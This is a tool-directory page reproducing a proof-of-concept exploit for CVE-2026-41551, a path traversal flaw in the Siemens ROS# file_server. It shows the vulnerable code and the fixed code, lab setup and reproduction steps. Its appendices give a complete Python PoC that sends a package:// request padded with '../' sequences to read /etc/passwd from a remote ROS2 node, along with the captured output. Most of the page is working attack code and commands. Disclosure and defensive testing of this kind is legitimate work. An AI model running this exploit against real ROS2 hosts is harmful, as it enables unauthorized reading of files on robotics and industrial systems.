Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41551 — Proof-of-concept exploit for CVE-2026-41551, a path traversal vulnerability in Siemens ROS# file_server, demonstrating remote file read via crafted package:// requests. | Kitploit
Tools/GitHubGitHub/selecthch/cve-2026-41551
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubselecthch/cve-2026-41551

CVE-2026-41551

Proof-of-concept exploit for CVE-2026-41551, a path traversal vulnerability in Siemens ROS# file_server, demonstrating remote file read via crafted package:// requests.

View Repository
12 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-41551 Reproduction

Vulnerability: Siemens ROS# file_server / file_server2 service relative path traversal CVSS v3.1: 9.1 (AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:N) Affected versions: ros-sharp all < V2.2.2; fixed version: V2.2.2 (added validate_path) Conclusion: This vulnerability can be exploited cross-host, not only locally. The following are the remote reproduction steps for "attacker 153 → victim 152".


0. Vulnerability Principle (ros-sharp 2.2.1, file_server.cpp)

get_file_callback directly concatenates the request path to the package share directory without traversal validation:

root@kitploit:~
std::string address   = request->name.substr(10);          // remove "package://"
std::string package   = address.substr(0, address.find("/"));
std::string filepath  = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath;                                    // user-controllable, contains "../"
std::ifstream inputfile(directory.c_str(), std::ios::binary);  // traversal to read arbitrary files

PoC request package://file_server2/<../×12>etc/passwd, traverses out of the package share directory to the root and reads the victim's local files.

Fix Code (ros-sharp 2.2.2)

Added validate_path: first performs path traversal check, then extension whitelist, and finally uses std::filesystem::canonical to confirm it has not escaped the package directory; save_file is disabled by default.

root@kitploit:~
bool has_traversal(const std::string& path) {           // forbid ".." and "."
  for (const auto& part : std::filesystem::path(path))
    if (part == ".." || part == ".") return true;
  return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
  auto base   = std::filesystem::canonical(base_dir);
  auto target = std::filesystem::weakly_canonical(full_path);
  auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
  return end == base.end();                            // must still be within the package directory
}
bool validate_path(...) {
  if (has_traversal(filepath))   { warn("Path traversal attempt blocked"); return false; }

1. Environment Information

Network topology (same ROS_DOMAIN_ID, DDS cross-host discovery):

root@kitploit:~
Attacker 192.168.171.153                        Victim 192.168.171.152
+---------------------------+                +---------------------------+
| ros2_humble + client      |  (1) get_file  | file_server node          |
| python3 poc.py            | -------------> | /file_server/get_file     |
|                           |                | reads local /etc/passwd   |
|                           | <-------------  | (2) returns file content 2930 bytes|
+---------------------------+                +---------------------------+
             ROS2 DDS (UDP 7400-7500 / multicast 239.255.0.x), ROS_DOMAIN_ID=0

2. Prerequisites (satisfied by default after reboot)

  • Both hosts have ROS2 Humble installed (/opt/ros/humble) and colcon.
  • The vulnerable source package is placed at ~/ros2_ws/src/file_server2 (ros-sharp 2.2.1, 13 files total).
  • Critical: When starting the victim node, do NOT set ROS_LOCALHOST_ONLY=1, otherwise only loopback is accessible and remote reproduction is impossible.

3. Reproduction Steps

3.1 Victim Side (192.168.171.152): Build and start the node, network listening

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# Build the vulnerable package (skip if already built; rebuilding is harmless)
colcon build --packages-select file_server2

# Start the node (reboot-safe: clean up old processes first, then start)
# ~/start_fs.sh content is in Appendix A
bash ~/start_fs.sh
sleep 2

ros2 node list            # should show local /file_server

3.2 Attacker Side (192.168.171.153): Build the client package to obtain the srv type

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# Also needs the file_server2 package for the client to import the GetBinaryFile type
colcon build --packages-select file_server2

3.3 Attacker Side: Cross-host discovery of the victim's service

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2

ros2 node list                 # should discover cross-host /file_server (on 152)
ros2 service list | grep file_server
# should show: /file_server/get_file

3.4 Attacker Side: Run the PoC to remotely read the victim's /etc/passwd

root@kitploit:~
python3 ~/poc.py

4. Reproduction Result

root@kitploit:~
[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----

The attacker on 153 successfully read the /etc/passwd from the victim's 152 local host.


Appendix A: ~/start_fs.sh

root@kitploit:~
#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# Process name is truncated by the kernel to file_server2_no; clean up old instances precisely by command line
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
  [ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# Critical: do not set ROS_LOCALHOST_ONLY, otherwise only loopback is accessible
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"

Appendix B: ~/poc.py

root@kitploit:~
import rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile

class Client(Node):
    def __init__(self):
        super().__init__('poc_client')
        self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
        while not self.cli.wait_for_service(timeout_sec=5.0):
            self.get_logger().info('waiting for service...')

    def call(self, name):
        req = GetBinaryFile.Request()
        req.name = name
        fut = self.cli.call_async(req)
        rclpy.spin_until_future_complete(self, fut)
        return fut.result()

def main():
    rclpy.init()
    c = Client()
    # 12 "../" is enough to traverse from the package share directory to the root, then access etc/passwd
    target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
    print(f"[*] Requesting: {target}")
    res = c.call(target)
    data = bytes(res.value) if res is not None else b''
    print(f"[*] Returned {len(data)} bytes")
    print("----- /etc/passwd (begin) -----")
    print(data[:400].decode(errors='replace'))
    print("----- end -----")
    c.destroy_node()
    rclpy.shutdown()

if __name__ == '__main__':
    main()

References

  • Siemens Security Advisory SSA-357982 (ROS# file_server directory traversal)
  • NVD CVE-2026-41551
  • ros-sharp GitHub Releases: V2.2.1 (affected) / V2.2.2 (fixed)
  • CWE-23: Relative Path Traversal; ROS 2 documentation: ROS_DOMAIN_ID / ROS_LOCALHOST_ONLY / DDS discovery
Download Tool
RoleHost IPSystemROSDescription
Victim192.168.171.152Ubuntu 22.04HumbleRuns the file_server node; the file being read is on this host
Attacker192.168.171.153Ubuntu 22.04HumbleSame subnet; sends PoC calls to the victim's service